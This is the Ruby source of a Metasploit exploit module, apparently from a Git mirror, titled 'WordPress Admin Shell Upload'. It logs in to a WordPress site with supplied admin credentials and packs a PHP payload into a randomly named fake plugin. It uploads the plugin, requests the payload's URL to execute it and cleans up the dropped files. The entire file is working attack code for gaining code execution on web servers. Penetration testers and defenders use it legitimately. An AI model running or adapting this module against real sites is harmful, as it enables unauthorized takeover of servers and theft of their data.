modules/exploits/unix/webapp/wp_admin_shell_upload.rb - master - githubmirror/metasploit-framework

modules/exploits/unix/webapp/wp_admin_shell_upload.rb
109 строк3 KB
adfoster-r7
Add human-readable descriptions to CheckCode returns in unix/webapp exploit modules
30 апр 2026, 02:16
30 апр 2026, 02:160bf595c
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HTTP::Wordpress

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress Admin Shell Upload',
        'Description' => %q{
          This module will generate a plugin, pack the payload into it
          and upload it to a server running WordPress provided valid
          admin credentials are used.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'rastating' # Metasploit module
        ],
        'DisclosureDate' => '2015-02-21',
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [['WordPress', {}]],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
        OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
      ]
    )
  end

  def check
    cookie = wordpress_login(username, password)
    if cookie.nil?
      return CheckCode::Safe('The target is not vulnerable')
    end

    store_valid_credential(user: username, private: password, proof: cookie)
    CheckCode::Appears('The target appears to be vulnerable')
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def generate_plugin(plugin_name, payload_name)
    plugin_script = %Q{<?php
/**
 * Plugin Name: #{plugin_name}
 * Version: #{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(2)}
 * Author: #{Rex::Text.rand_text_alpha(10)}
 * Author URI: http://#{Rex::Text.rand_text_alpha(10)}.com
 * License: GPL2
 */
?>}

    zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
    zip.add_file("#{plugin_name}/#{plugin_name}.php", plugin_script)
    zip.add_file("#{plugin_name}/#{payload_name}.php", payload.encoded)
    zip
  end

  def exploit
    fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?

    print_status("Authenticating with WordPress using #{username}:#{password}...")
    cookie = wordpress_login(username, password)
    fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
    print_good("Authenticated with WordPress")
    store_valid_credential(user: username, private: password, proof: cookie)

    print_status("Preparing payload...")
    plugin_name = Rex::Text.rand_text_alpha(10)
    payload_name = "#{Rex::Text.rand_text_alpha(10)}"
    payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
    zip = generate_plugin(plugin_name, payload_name)

    print_status("Uploading payload...")
    uploaded = wordpress_upload_plugin(plugin_name, zip.pack, cookie)
    fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless uploaded

    print_status("Executing the payload at #{payload_uri}...")
    register_files_for_cleanup("#{payload_name}.php")
    register_files_for_cleanup("#{plugin_name}.php")
    register_dir_for_cleanup("../#{plugin_name}")
    send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' }, 5)
  end
end